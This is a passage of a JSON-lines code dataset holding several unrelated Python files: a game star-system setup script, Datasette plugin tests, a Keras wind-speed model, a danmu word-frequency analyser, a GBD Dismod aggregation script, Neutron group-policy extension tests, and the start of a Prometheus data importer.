away\n\tpSun = App.Sun_Create(500.0, 500, 500)\n\tpSet.AddObjectToSet(pSun, \"Sun\")\n\t\n\t# Place the object at the specified location.\n\tpSun.PlaceObjectByName( \"Sun\" )\n\tpSun.UpdateNodeOnly()\n\n\t# Builds a Red-Orange lens flare, attached to the sun\n\tTactical.LensFlares.YellowLensFlare(pSet, pSun)\n\n\t# Planet\n\tpPlanet = App.Planet_Create(360.0, \"data/models/environment/BlueWhiteGasPlanet.nif\")\n\tpSet.AddObjectToSet(pPlanet, \"Itari 8\")\n\n\t# Place the object at the specified location.\n\tpPlanet.PlaceObjectByName( \"Planet\" )\n\tpPlanet.UpdateNodeOnly()\n\n\timport Custom.NanoFXv2.NanoFX_Lib\n\tCustom.NanoFXv2.NanoFX_Lib.CreateAtmosphereFX(pPlanet, \"data/models/environment/BlueWhiteGasPlanet.nif\", \"Class-M\")\n\n\t#Moon2\n\tpMoon2 = App.Planet_Create(90.0, \"data/models/environment/GreenPurplePlanet.nif\")\n\tpSet.AddObjectToSet(pMoon2, \"Moon 1\")\n\n\t# Place the object at the specified location.\n\tpMoon2.PlaceObjectByName( \"Moon1\" )\n\tpMoon2.UpdateNodeOnly()\n\n\t#Moon1\n\tpMoon1 = App.Planet_Create(15.0, \"data/models/environment/GrayPlanet.nif\")\n\tpSet.AddObjectToSet(pMoon1, \"Moon 2\")\n\n\t# Place the object at the specified location.\n\tpMoon1.PlaceObjectByName( \"Moon2\" )\n\tpMoon1.UpdateNodeOnly()\n\n\n\n","sub_path":"scripts/Custom/NanoFXv2/SpecialFX/Systems/Itari/Itari8_S.py","file_name":"Itari8_S.py","file_ext":"py","file_size_in_byte":1674,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"252399369","text":"from bs4 import BeautifulSoup as Soup\nfrom .fixtures import app_client, make_app_client, TEMP_PLUGIN_SECRET_FILE # noqa\nfrom datasette.utils import sqlite3\nimport base64\nimport json\nimport os\nimport pathlib\nimport re\nimport pytest\nimport urllib\n\n\ndef test_plugins_dir_plugin(app_client):\n response = app_client.get(\n \"/fixtures.json?sql=select+convert_units(100%2C+'m'%2C+'ft')\"\n )\n assert pytest.approx(328.0839) == response.json[\"rows\"][0][0]\n\n\n@pytest.mark.parametrize(\n \"path,expected_decoded_object\",\n [\n (\"/\", {\"template\": \"index.html\", \"database\": None, \"table\": None}),\n (\n \"/fixtures/\",\n {\"template\": \"database.html\", \"database\": \"fixtures\", \"table\": None},\n ),\n (\n \"/fixtures/sortable\",\n {\"template\": \"table.html\", \"database\": \"fixtures\", \"table\": \"sortable\"},\n ),\n ],\n)\ndef test_plugin_extra_css_urls(app_client, path, expected_decoded_object):\n response = app_client.get(path)\n links = Soup(response.body, \"html.parser\").findAll(\"link\")\n special_href = [\n l for l in links if l.attrs[\"href\"].endswith(\"/extra-css-urls-demo.css\")\n ][0][\"href\"]\n # This link has a base64-encoded JSON blob in it\n encoded = special_href.split(\"/\")[3]\n assert expected_decoded_object == json.loads(\n base64.b64decode(encoded).decode(\"utf8\")\n )\n\n\ndef test_plugin_extra_js_urls(app_client):\n response = app_client.get(\"/\")\n scripts = Soup(response.body, \"html.parser\").findAll(\"script\")\n assert [\n s\n for s in scripts\n if s.attrs\n == {\n \"integrity\": \"SRIHASH\",\n \"crossorigin\": \"anonymous\",\n \"src\": \"https://example.com/jquery.js\",\n }\n ]\n\n\ndef test_plugins_with_duplicate_js_urls(app_client):\n # If two plugins both require jQuery, jQuery should be loaded only once\n response = app_client.get(\"/fixtures\")\n # This test is a little tricky, as if the user has any other plugins in\n # their current virtual environment those may affect what comes back too.\n # What matters is that https://example.com/jquery.js is only there once\n # and it comes before plugin1.js and plugin2.js which could be in either\n # order\n scripts = Soup(response.body, \"html.parser\").findAll(\"script\")\n srcs = [s[\"src\"] for s in scripts if s.get(\"src\")]\n # No duplicates allowed:\n assert len(srcs) == len(set(srcs))\n # jquery.js loaded once:\n assert 1 == srcs.count(\"https://example.com/jquery.js\")\n # plugin1.js and plugin2.js are both there:\n assert 1 == srcs.count(\"https://example.com/plugin1.js\")\n assert 1 == srcs.count(\"https://example.com/plugin2.js\")\n # jquery comes before them both\n assert srcs.index(\"https://example.com/jquery.js\") < srcs.index(\n \"https://example.com/plugin1.js\"\n )\n assert srcs.index(\"https://example.com/jquery.js\") < srcs.index(\n \"https://example.com/plugin2.js\"\n )\n\n\ndef test_plugins_render_cell_link_from_json(app_client):\n sql = \"\"\"\n select '{\"href\": \"http://example.com/\", \"label\":\"Example\"}'\n \"\"\".strip()\n path = \"/fixtures?\" + urllib.parse.urlencode({\"sql\": sql})\n response = app_client.get(path)\n td = Soup(response.body, \"html.parser\").find(\"table\").find(\"tbody\").find(\"td\")\n a = td.find(\"a\")\n assert a is not None, str(a)\n assert a.attrs[\"href\"] == \"http://example.com/\"\n assert a.attrs[\"data-database\"] == \"fixtures\"\n assert a.text == \"Example\"\n\n\ndef test_plugins_render_cell_demo(app_client):\n response = app_client.get(\"/fixtures/simple_primary_key?id=4\")\n soup = Soup(response.body, \"html.parser\")\n td = soup.find(\"td\", {\"class\": \"col-content\"})\n assert {\n \"column\": \"content\",\n \"table\": \"simple_primary_key\",\n \"database\": \"fixtures\",\n \"config\": {\"depth\": \"table\", \"special\": \"this-is-simple_primary_key\"},\n } == json.loads(td.string)\n\n\ndef test_plugin_config(app_client):\n assert {\"depth\": \"table\"} == app_client.ds.plugin_config(\n \"name-of-plugin\", database=\"fixtures\", table=\"sortable\"\n )\n assert {\"depth\": \"database\"} == app_client.ds.plugin_config(\n \"name-of-plugin\", database=\"fixtures\", table=\"unknown_table\"\n )\n assert {\"depth\": \"database\"} == app_client.ds.plugin_config(\n \"name-of-plugin\", database=\"fixtures\"\n )\n assert {\"depth\": \"root\"} == app_client.ds.plugin_config(\n \"name-of-plugin\", database=\"unknown_database\"\n )\n assert {\"depth\": \"root\"} == app_client.ds.plugin_config(\"name-of-plugin\")\n assert None is app_client.ds.plugin_config(\"unknown-plugin\")\n\n\ndef test_plugin_config_env(app_client):\n os.environ[\"FOO_ENV\"] = \"FROM_ENVIRONMENT\"\n assert {\"foo\": \"FROM_ENVIRONMENT\"} == app_client.ds.plugin_config(\"env-plugin\")\n # Ensure secrets aren't visible in /-/metadata.json\n metadata = app_client.get(\"/-/metadata.json\")\n assert {\"foo\": {\"$env\": \"FOO_ENV\"}} == metadata.json[\"plugins\"][\"env-plugin\"]\n del os.environ[\"FOO_ENV\"]\n\n\ndef test_plugin_config_file(app_client):\n open(TEMP_PLUGIN_SECRET_FILE, \"w\").write(\"FROM_FILE\")\n assert {\"foo\": \"FROM_FILE\"} == app_client.ds.plugin_config(\"file-plugin\")\n # Ensure secrets aren't visible in /-/metadata.json\n metadata = app_client.get(\"/-/metadata.json\")\n assert {\"foo\": {\"$file\": TEMP_PLUGIN_SECRET_FILE}} == metadata.json[\"plugins\"][\n \"file-plugin\"\n ]\n os.remove(TEMP_PLUGIN_SECRET_FILE)\n\n\n@pytest.mark.parametrize(\n \"path,expected_extra_body_script\",\n [\n (\n \"/\",\n {\n \"template\": \"index.html\",\n \"database\": None,\n \"table\": None,\n \"config\": {\"depth\": \"root\"},\n },\n ),\n (\n \"/fixtures/\",\n {\n \"template\": \"database.html\",\n \"database\": \"fixtures\",\n \"table\": None,\n \"config\": {\"depth\": \"database\"},\n },\n ),\n (\n \"/fixtures/sortable\",\n {\n \"template\": \"table.html\",\n \"database\": \"fixtures\",\n \"table\": \"sortable\",\n \"config\": {\"depth\": \"table\"},\n },\n ),\n ],\n)\ndef test_plugins_extra_body_script(app_client, path, expected_extra_body_script):\n r = re.compile(r\"\")\n json_data = r.search(app_client.get(path).body.decode(\"utf8\")).group(1)\n actual_data = json.loads(json_data)\n assert expected_extra_body_script == actual_data\n\n\ndef test_plugins_asgi_wrapper(app_client):\n response = app_client.get(\"/fixtures\")\n assert \"fixtures\" == response.headers[\"x-databases\"]\n\n\ndef test_plugins_extra_template_vars(restore_working_directory):\n for client in make_app_client(\n template_dir=str(pathlib.Path(__file__).parent / \"test_templates\")\n ):\n response = client.get(\"/-/metadata\")\n assert response.status == 200\n extra_template_vars = json.loads(\n Soup(response.body, \"html.parser\").select(\"pre.extra_template_vars\")[0].text\n )\n assert {\n \"template\": \"show_json.html\",\n \"scope_path\": \"/-/metadata\",\n } == extra_template_vars\n extra_template_vars_from_awaitable = json.loads(\n Soup(response.body, \"html.parser\")\n .select(\"pre.extra_template_vars_from_awaitable\")[0]\n .text\n )\n assert {\n \"template\": \"show_json.html\",\n \"awaitable\": True,\n \"scope_path\": \"/-/metadata\",\n } == extra_template_vars_from_awaitable\n\n\ndef test_plugins_async_template_function(restore_working_directory):\n for client in make_app_client(\n template_dir=str(pathlib.Path(__file__).parent / \"test_templates\")\n ):\n response = client.get(\"/-/metadata\")\n assert response.status == 200\n extra_from_awaitable_function = (\n Soup(response.body, \"html.parser\")\n .select(\"pre.extra_from_awaitable_function\")[0]\n .text\n )\n expected = (\n sqlite3.connect(\":memory:\").execute(\"select sqlite_version()\").fetchone()[0]\n )\n assert expected == extra_from_awaitable_function\n","sub_path":"tests/test_plugins.py","file_name":"test_plugins.py","file_ext":"py","file_size_in_byte":8239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"287121963","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pandas as pd\nfrom keras.models import Sequential\nfrom keras.layers import Dense, LSTM, SimpleRNN, Activation , Dropout\nfrom sklearn.metrics import mean_squared_error\nfrom keras.optimizers import RMSprop, Adam\nfrom numpy.random import seed\nfrom common_misc import load_data_from_pkl\n\n\n# Create model\ndef create_fc_model():\n model = Sequential([\n Dense(30, input_dim=15, kernel_initializer='RandomNormal'),\n Activation('elu'),\n Dropout(rate=0.4, seed=True),\n Dense(10),\n Activation('elu'),\n Dense(1)\n ])\n return model\n\n# Create model\ndef create_fc_model2():\n model = Sequential()\n model.add(\n SimpleRNN(20, stateful=False, return_sequences=False, batch_input_shape=(1, 15, 1), activation='relu'))\n model.add(Dense(1))\n return model\n\n\nx_train, y_train = load_data_from_pkl('data/turbine_1_train.pkl')\nx_test, y_test = load_data_from_pkl('data/turbine_1_test.pkl')\n\ndata_train = pd.concat([x_train, y_train], axis=1)\ndata_test = pd.concat([x_test, y_test], axis=1)\n\n# drop out nan value\ndata_train = data_train.dropna(subset=['Y.ws_tb'])\ndata_train = data_train[np.isnan(data_train['GFS0.ws']) == False]\ndata_train = data_train[np.isnan(data_train['WRF0.ws']) == False]\ndata_test = data_test.dropna(subset=['Y.ws_tb'])\n\nx_train = data_train[['EC0.ws','EC0.wd','EC0.tmp','EC0.rho','EC0.pres',\n'GFS0.ws','GFS0.wd','GFS0.tmp','GFS0.rho','GFS0.pres',\n'WRF0.ws','WRF0.wd','WRF0.tmp','WRF0.rho','WRF0.pres']]\ncount1=len(x_train)\nprint(count1)\ny_train=data_train['Y.ws_tb']\nx_test=data_test[['EC0.ws','EC0.wd','EC0.tmp','EC0.rho','EC0.pres',\n'GFS0.ws','GFS0.wd','GFS0.tmp','GFS0.rho','GFS0.pres',\n'WRF0.ws','WRF0.wd','WRF0.tmp','WRF0.rho','WRF0.pres']]\ncount2=len(x_test)\ny_test=data_test['Y.ws_tb']\n\n\"\"\"\nx_train=x_train.values\nx_train = x_train.reshape(count1,15,1)\ny_train=y_train.values\ny_train = y_train.reshape(count1,1)\nx_test=x_test.values\nx_test = x_test.reshape(count2,15,1)\ny_test=y_test.values\ny_test = y_test.reshape(count2,1)\n\"\"\"\n\nprint('x_train.shape: ', x_train.shape)\nprint('y_train.shape: ', y_train.shape)\nprint('x_test.shape: ', x_test.shape)\nprint('y_test.shape: ', y_test.shape)\n\n\nepochs=20\n# Create the model\nprint('Creating Fully-Connected Model...')\nmodel_fc = create_fc_model()\nadam=Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.00005)\nrmsprop = RMSprop(lr=0.001, rho=0.9, epsilon=1e-08, decay=0.00005)\nmodel_fc.compile(optimizer=adam, loss='mean_squared_error')\n# Train the model\nprint('Training')\n##### TRAIN YOUR MODEL #####\nhistory = model_fc.fit(x_train, y_train, epochs=epochs, batch_size=1, validation_data=(x_test, y_test), shuffle=False)\n\n# Plot and save loss curves of training and test set vs iteration in the same graph\n##### PLOT AND SAVE LOSS CURVES #####\nloss = history.history['loss']\nval_loss = history.history['val_loss']\n\npredicted_fc = model_fc.predict(x_test, batch_size=1)\n##### CALCULATE RMSE #####\nfc_rmse = np.sqrt(mean_squared_error(y_test, predicted_fc))\nprint(fc_rmse)\n\nplt.figure(figsize=(8, 5))\nplt.plot(np.arange(1, epochs+1), loss, label='train_loss')\nplt.plot(np.arange(1, epochs+1), val_loss, label='val_loss')\nplt.title('Loss vs Iterations in Training and Validation Set')\nplt.xlabel('Iterations')\nplt.ylabel('Loss')\nx_label = range(1, epochs+1)\nplt.xticks(x_label)\nplt.legend()\nplt.grid()\nplt.show()\n\n","sub_path":"envision/neural network.py","file_name":"neural network.py","file_ext":"py","file_size_in_byte":3397,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"54793784","text":"'''\n统计弹幕中词语出现的频率\n'''\n\nimport jieba\nimport fool\nimport time\nimport datetime\nfrom dbHelper import DouyuDanmuDao\nimport targetConfig\n\n#从数据库获取弹幕内容\ndef getBarragesFromDatabase(date):\n date = date.timetuple() # 转换时间格式\n\n SQL = f\"select txt from barrages \" \\\n f\" where Date(stime)=\\'{targetConfig.targetDate.strftime('%Y-%m-%d')}\\'\"\n\n danmuDao = DouyuDanmuDao()\n danmuDao.connect()\n\n data = danmuDao.excuteQuery(SQL)\n if not data:\n return -1\n\n danmuDao.disConnect()\n return data\n\n\n#统计弹幕中的词频\ndef getWordStatsWithJieba(data):\n \"\"\"\n :param data: tuple类型的数据，data【n】【0】是弹幕数据\n :return:\n \"\"\"\n wordFrequency = {}\n\n for i in range(len(data)):\n barrage = data[i][0]\n for word in jieba.cut_for_search(barrage):\n if word in wordFrequency.keys():\n wordFrequency[word]+=1\n else:\n wordFrequency[word] = 1\n return wordFrequency\n\ndef getWordStatsWithFool(data):\n \"\"\"\n\n :param data: tuple类型的数据，data【n】【0】是弹幕数据\n :return:\n \"\"\"\n wordFrequency = {}\n\n for i in range(len(data)):\n barrage = data[i][0]\n # print(fool.cut(barrage))\n for word in fool.cut(barrage)[0]:\n # print(word)\n if word in wordFrequency.keys():\n wordFrequency[word]+=1\n else:\n wordFrequency[word] = 1\n return wordFrequency\n\n\n#绘制词云图\nfrom pyecharts.charts import WordCloud\nfrom pyecharts import options as opts\nfrom pyecharts.globals import SymbolType\n\ndef wordCloud(barrageStats):\n # WordCloud模块，链式调用配置，最终生成html文件\n c = (\n WordCloud()\n .add(\"\", barrageStats, word_size_range=[20, 100], shape=SymbolType.DIAMOND)\n .set_global_opts(title_opts=opts.TitleOpts(title=\"词语频率\"))\n .render(\"词语频率.html\")\n )\n\n\n#主函数\ndef main():\n date = targetConfig.targetDate\n data = getBarragesFromDatabase(date)\n print(type(data))\n print(data)\n\n #获取词频\n wordStats = getWordStatsWithJieba(data)\n del data\n\n wordStats = sorted(wordStats.items(),key=lambda item:item[1],reverse=True)\n print(wordStats)\n for word in wordStats[:50]:\n print(word)\n wordCloud(wordStats)\n\nif __name__ == '__main__':\n main()","sub_path":"src/DataAnalysis/wordFrequency.py","file_name":"wordFrequency.py","file_ext":"py","file_size_in_byte":2434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"336989529","text":"import logging\nimport os\nimport re\nimport shutil\nimport subprocess\n\nfrom cascade_ode import upload\nfrom cascade_ode import fit_stats\nfrom cascade_ode import drill\nfrom cascade_ode.argument_parser import cascade_parser\nfrom cascade_ode.patch_io import setup_io_patches\nfrom cascade_ode.demographics import Demographics\nfrom cascade_ode import importer\nfrom cascade_ode import __version__\nfrom cascade_ode.run_all import prepare_directories\nfrom cascade_ode.setup_logger import setup_logger\nfrom cascade_ode.sge import get_commit_hash\nfrom cascade_ode.shared_functions import DismodSaveResults\nfrom db_tools.ezfuncs import query\nfrom db_queries import get_location_metadata\nfrom gbd.decomp_step import decomp_step_from_decomp_step_id\nimport sqlalchemy\n\n# Set default file mask to readable-for all users\nos.umask(0o0002)\n\n\ndef parse_args(args=None):\n parser = cascade_parser(\"Upload model, plot, aggregate up hierarchy.\")\n parser.add_argument('mvid', type=int)\n return parser.parse_args(args)\n\n\ndef main():\n '''Set commit hash, upload model, try to write effects_plots pdfs,\n aggregate model version draws up location hierarchy\n '''\n args = parse_args()\n mvid = args.mvid\n default_debug_level = -1\n dirs = prepare_directories(mvid, create_directories=False)\n logging_filepath = '%s/%s' % (\n dirs['model_logdir'], f'{args.mvid}_varnish.log')\n setup_logger(\n logging_filepath,\n level=args.quiet - args.verbose + default_debug_level)\n\n log = logging.getLogger(__name__)\n log.info(\"Varnish started for mvid {}\".format(mvid))\n setup_io_patches(args.no_upload)\n\n try:\n try:\n commit_hash = get_commit_hash(dir='%s/..' % drill.this_path)\n except subprocess.CalledProcessError:\n # in site-packages, not git repo\n commit_hash = __version__\n\n upload.set_commit_hash(mvid, commit_hash)\n upload.upload_model(mvid)\n\n outdir = \"%s/%s/full\" % (\n drill.settings['cascade_ode_out_dir'],\n str(mvid))\n joutdir = \"%s/%s\" % (drill.settings['diag_out_dir'], mvid)\n fit_df = fit_stats.write_fit_stats(mvid, outdir, joutdir)\n if fit_df is not None:\n try:\n upload.upload_fit_stat(mvid)\n except sqlalchemy.exc.IntegrityError:\n log.warning(\"fit stat already uploaded -- skipping\")\n else:\n log.warning(\"No fit stats computed\")\n\n # Write effect PDFs\n plotter = \"{}/effect_plots.r\".format(drill.this_path)\n plotter = os.path.realpath(plotter)\n\n demo = Demographics(mvid)\n try:\n subprocess.check_output([\n \"Rscript\",\n plotter,\n str(mvid),\n joutdir,\n drill.settings['cascade_ode_out_dir'],\n str(max(demo.year_ids))],\n stderr=subprocess.STDOUT)\n except subprocess.CalledProcessError:\n log.exception(\"Error in effect plots\")\n\n # Clean aggregations to ensure idempotentcy\n decomp_step = decomp_step_from_decomp_step_id(\n importer.get_model_version(mvid).decomp_step_id.unique()[0])\n clean_model_directory(outdir, demo.gbd_round_id, decomp_step)\n\n # Launch final aggregations\n log.info(\"Starting Save Results\")\n aggregate_model(mvid, demo=demo, no_upload=args.no_upload)\n except Exception:\n log.exception(\"Error in varnish\")\n raise\n\n\ndef aggregate_model(mvid, demo, no_upload=False):\n '''call save_results to create location aggregates,\n upload summaries to epi.model_estimate_final,\n mark model as finished'''\n agg_args = get_aggregation_arguments(mvid, demo)\n\n dsr = DismodSaveResults(\n input_dir=agg_args['input_dir'],\n input_file_pattern=agg_args['input_file_pattern'],\n model_version_id=mvid,\n modelable_entity_id=agg_args['modelable_entity_id'],\n description=agg_args['description'],\n year_id=agg_args['year_id'],\n sex_id=agg_args['sex_id'],\n measure_id=agg_args['measure_id'],\n db_env=agg_args['db_env'],\n gbd_round_id=agg_args['gbd_round_id'],\n birth_prevalence=agg_args['birth_prevalence'],\n decomp_step=agg_args['decomp_step'])\n if not no_upload:\n dsr.run()\n\n return dsr\n\n\ndef get_aggregation_arguments(mvid, demo):\n casc = drill.Cascade(\n mvid, root_dir=drill.settings['cascade_ode_out_dir'],\n reimport=False)\n mvm = casc.model_version_meta\n db_env = drill.settings['env_variables']['ENVIRONMENT_NAME']\n\n agg_args = {}\n agg_args['input_dir'] = os.path.join(casc.root_dir, 'draws')\n agg_args['input_file_pattern'] = '{location_id}_{year_id}_{sex_id}.h5'\n agg_args['modelable_entity_id'] = mvm.modelable_entity_id.iat[0]\n agg_args['description'] = mvm.description.iat[0]\n agg_args['year_id'] = demo.year_ids\n agg_args['sex_id'] = demo.sex_ids\n agg_args['measure_id'] = get_measures_from_casc(casc)\n agg_args['db_env'] = db_env\n agg_args['gbd_round_id'] = demo.gbd_round_id\n agg_args['birth_prevalence'] = mvm.birth_prev.fillna(0).replace(\n {0: False, 1: True}).iat[0]\n agg_args['decomp_step'] = mvm.decomp_step.iat[0]\n\n return agg_args\n\n\ndef get_measures_from_casc(casc):\n measure_only = casc.model_version_meta.measure_only\n if measure_only.notnull().all():\n return measure_only.iat[0]\n\n q = \"select measure_id from shared.measure where measure in ('{}')\".format(\n \"', '\".join(importer.integrand_pred))\n df = query(q, conn_def=\"epi\")\n return sorted(df.measure_id.tolist())\n\n\ndef clean_model_directory(outdir, gbd_round_id, decomp_step):\n '''Removes past (maybe corrupt) .h5 aggregate files and summary directory\n for a given varnish job run.\n Args:\n outdir (str): full output directory of a cascade model\n gbd_round_id (int): gbd_round_id for which to get location metadata\n '''\n draw_path = os.path.join(outdir, 'draws')\n # remove summary file\n if os.path.exists(os.path.join(draw_path, 'summaries')):\n shutil.rmtree(os.path.join(draw_path, 'summaries'))\n # remove aggregated draw files\n files_to_remove = get_files_to_remove(\n os.listdir(draw_path), gbd_round_id, decomp_step)\n for file in files_to_remove:\n os.remove(os.path.join(draw_path, file))\n\n\ndef get_files_to_remove(dir_list, gbd_round_id, decomp_step):\n '''\n To make varnish.py idempotent, find aggregate location files to delete\n '''\n loc_df = get_location_metadata(\n location_set_id=35,\n gbd_round_id=gbd_round_id,\n decomp_step=decomp_step)\n locs = loc_df.loc[loc_df.most_detailed != 1].location_id.tolist()\n location_substr = \"|\".join([str(l) for l in locs])\n regex = f\"({location_substr})_.*.h5$\"\n files_to_remove = [f for f in dir_list if re.match(regex, f)]\n return files_to_remove\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"gbd_2019/shared_code/central_comp/nonfatal/dismod/varnish.py","file_name":"varnish.py","file_ext":"py","file_size_in_byte":6988,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"96449451","text":"# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport copy\n\nfrom neutron_lib import constants as n_constants\nfrom neutron_lib.plugins import constants\nimport six\n\nfrom gbpservice.neutron.extensions import group_policy as gp\nfrom gbpservice.neutron.extensions import group_policy_mapping as gpm\nfrom gbpservice.neutron.tests.unit import common as cm\nfrom gbpservice.neutron.tests.unit import test_extension_group_policy as tgp\n\n\nclass GroupPolicyMappingExtTestCase(tgp.GroupPolicyExtensionTestCase):\n def setUp(self):\n self._saved_gp_attr_map = {}\n for k, v in six.iteritems(gp.RESOURCE_ATTRIBUTE_MAP):\n self._saved_gp_attr_map[k] = v.copy()\n self.addCleanup(self._restore_gp_attr_map)\n\n super(tgp.GroupPolicyExtensionTestCase, self).setUp()\n\n attr_map = gp.RESOURCE_ATTRIBUTE_MAP\n attr_map[gp.POLICY_TARGETS].update(\n gpm.EXTENDED_ATTRIBUTES_2_0[gp.POLICY_TARGETS])\n attr_map[gp.POLICY_TARGET_GROUPS].update(\n gpm.EXTENDED_ATTRIBUTES_2_0[gp.POLICY_TARGET_GROUPS])\n attr_map[gp.L2_POLICIES].update(\n gpm.EXTENDED_ATTRIBUTES_2_0[gp.L2_POLICIES])\n attr_map[gp.L3_POLICIES].update(\n gpm.EXTENDED_ATTRIBUTES_2_0[gp.L3_POLICIES])\n attr_map[gp.EXTERNAL_SEGMENTS].update(\n gpm.EXTENDED_ATTRIBUTES_2_0[gp.EXTERNAL_SEGMENTS])\n plural_mappings = {'l2_policy': 'l2_policies',\n 'l3_policy': 'l3_policies',\n 'network_service_policy':\n 'network_service_policies',\n 'external_policy':\n 'external_policies'}\n self.setup_extension(\n tgp.GP_PLUGIN_BASE_NAME, constants.GROUP_POLICY,\n gp.Group_policy, tgp.GROUPPOLICY_URI,\n plural_mappings=plural_mappings)\n self.instance = self.plugin.return_value\n\n def _restore_gp_attr_map(self):\n gp.RESOURCE_ATTRIBUTE_MAP = self._saved_gp_attr_map\n\n def get_create_policy_target_default_attrs(self):\n attrs = cm.get_create_policy_target_default_attrs()\n attrs.update({'port_id': None})\n return attrs\n\n def get_create_policy_target_default_attrs_and_prj_id(self):\n attrs = cm.get_create_policy_target_default_attrs_and_prj_id()\n attrs.update({'port_id': None})\n return attrs\n\n def get_create_policy_target_attrs(self):\n attrs = cm.get_create_policy_target_attrs()\n attrs.update({'port_id': tgp._uuid()})\n fixed_ips = [{'subnet_id': '00000000-ffff-ffff-ffff-000000000000',\n 'ip_address': '11.1.1.1'}]\n attrs.update({'fixed_ips': fixed_ips})\n return attrs\n\n def get_update_policy_target_attrs(self):\n attrs = cm.get_update_policy_target_attrs()\n fixed_ips = [{'subnet_id': '00000000-ffff-ffff-ffff-000000000000',\n 'ip_address': '11.1.1.1'}]\n attrs.update({'fixed_ips': fixed_ips})\n return attrs\n\n def get_create_policy_target_group_default_attrs(self):\n attrs = cm.get_create_policy_target_group_default_attrs()\n attrs.update({'subnets': []})\n return attrs\n\n def get_create_policy_target_group_default_attrs_and_prj_id(self):\n attrs = cm.get_create_policy_target_group_default_attrs_and_prj_id()\n attrs.update({'subnets': []})\n return attrs\n\n def get_create_policy_target_group_attrs(self):\n attrs = cm.get_create_policy_target_group_attrs()\n attrs.update({'subnets': [tgp._uuid()]})\n return attrs\n\n def get_update_policy_target_group_attrs(self):\n attrs = cm.get_update_policy_target_group_attrs()\n attrs.update({'subnets': [tgp._uuid()]})\n return attrs\n\n def get_create_l2_policy_default_attrs(self):\n attrs = cm.get_create_l2_policy_default_attrs()\n attrs.update({'network_id': None})\n return attrs\n\n def get_create_l2_policy_default_attrs_and_prj_id(self):\n attrs = cm.get_create_l2_policy_default_attrs_and_prj_id()\n attrs.update({'network_id': None})\n return attrs\n\n def get_create_l2_policy_attrs(self):\n attrs = cm.get_create_l2_policy_attrs()\n attrs.update({'network_id': tgp._uuid()})\n return attrs\n\n def get_create_l3_policy_default_attrs(self):\n attrs = cm.get_create_l3_policy_default_attrs()\n attrs.update({'address_scope_v4_id': None})\n attrs.update({'address_scope_v6_id': None})\n attrs.update({'subnetpools_v4': []})\n attrs.update({'subnetpools_v6': []})\n attrs.update({'routers': []})\n return attrs\n\n def get_create_l3_policy_default_attrs_and_prj_id(self):\n attrs = cm.get_create_l3_policy_default_attrs_and_prj_id()\n attrs.update({'address_scope_v4_id': None})\n attrs.update({'address_scope_v6_id': None})\n attrs.update({'subnetpools_v4': []})\n attrs.update({'subnetpools_v6': []})\n attrs.update({'routers': []})\n return attrs\n\n def get_create_l3_policy_attrs(self):\n attrs = cm.get_create_l3_policy_attrs()\n attrs.update({'address_scope_v4_id': tgp._uuid()})\n attrs.update({'address_scope_v6_id': tgp._uuid()})\n attrs.update({'subnetpools_v4': [tgp._uuid(), tgp._uuid()]})\n attrs.update({'subnetpools_v6': [tgp._uuid(), tgp._uuid()]})\n attrs.update({'routers': [tgp._uuid(), tgp._uuid()]})\n return attrs\n\n def get_update_l3_policy_attrs(self):\n attrs = cm.get_update_l3_policy_attrs()\n attrs.update({'subnetpools_v4': [tgp._uuid(), tgp._uuid()]})\n attrs.update({'subnetpools_v6': [tgp._uuid(), tgp._uuid()]})\n attrs.update({'routers': [tgp._uuid(), tgp._uuid()]})\n return attrs\n\n def get_create_external_segment_default_attrs(self):\n attrs = cm.get_create_external_segment_default_attrs()\n attrs.update({'subnet_id': None})\n return attrs\n\n def get_create_external_segment_default_attrs_and_prj_id(self):\n attrs = cm.get_create_external_segment_default_attrs_and_prj_id()\n attrs.update({'subnet_id': None})\n return attrs\n\n def get_create_external_segment_attrs(self):\n attrs = cm.get_create_external_segment_attrs()\n attrs.update({'subnet_id': tgp._uuid()})\n return attrs\n\n def test_create_policy_target_with_defaults(self):\n policy_target_id = tgp._uuid()\n data = {'policy_target': {'policy_target_group_id': tgp._uuid(),\n 'tenant_id': tgp._uuid()}}\n default_attrs = (\n self.get_create_policy_target_default_attrs_and_prj_id())\n default_data = copy.copy(data)\n default_data['policy_target'].update(default_attrs)\n expected_value = dict(default_data['policy_target'])\n expected_value['id'] = policy_target_id\n expected_value['fixed_ips'] = n_constants.ATTR_NOT_SPECIFIED\n\n self._test_create_policy_target(data, expected_value, default_data)\n","sub_path":"gbpservice/neutron/tests/unit/test_extension_group_policy_mapping.py","file_name":"test_extension_group_policy_mapping.py","file_ext":"py","file_size_in_byte":7520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"476706339","text":"# -*- coding: utf-8 -*-\n# Re-import dumped Prometheus metric data (in plain or compressed\n# JSON format) to a local influxdb instance.\n# Imported data will be put into a dedicated (or specified) database\n# for futher analysis.\n\nimport datetime\nimport influxdb\nimport json\nimport logging\nimport os\nimport random\nimport string\nimport zlib\n\nfrom utils import fileopt\nfrom utils import util\n\n\nclass PromDump():\n def __init__(self, args):\n # if db_name, else db_name = prom_dump_`date`\n self.host = args.host if args.host else 'localhost'\n self.port = args.port if args.port else 8086\n self.datadir = args.dir if args.dir else 'data'\n self.db_name = args.db if args.db else self.unique_dbname()\n self.user = args.user\n self.passwd = args.passwd\n\n # unique_dbname() generates a unique database name for importing, to prevents\n # overwritting of previous imported data\n def unique_dbname(self):\n dbname = []\n # universal prefix\n dbname.append('tidb_insight_prom')\n # current time\n dbname.append(datetime.datetime.now().strftime(\"%Y%m%d%H%M\"))\n # a 4 digits random string\n 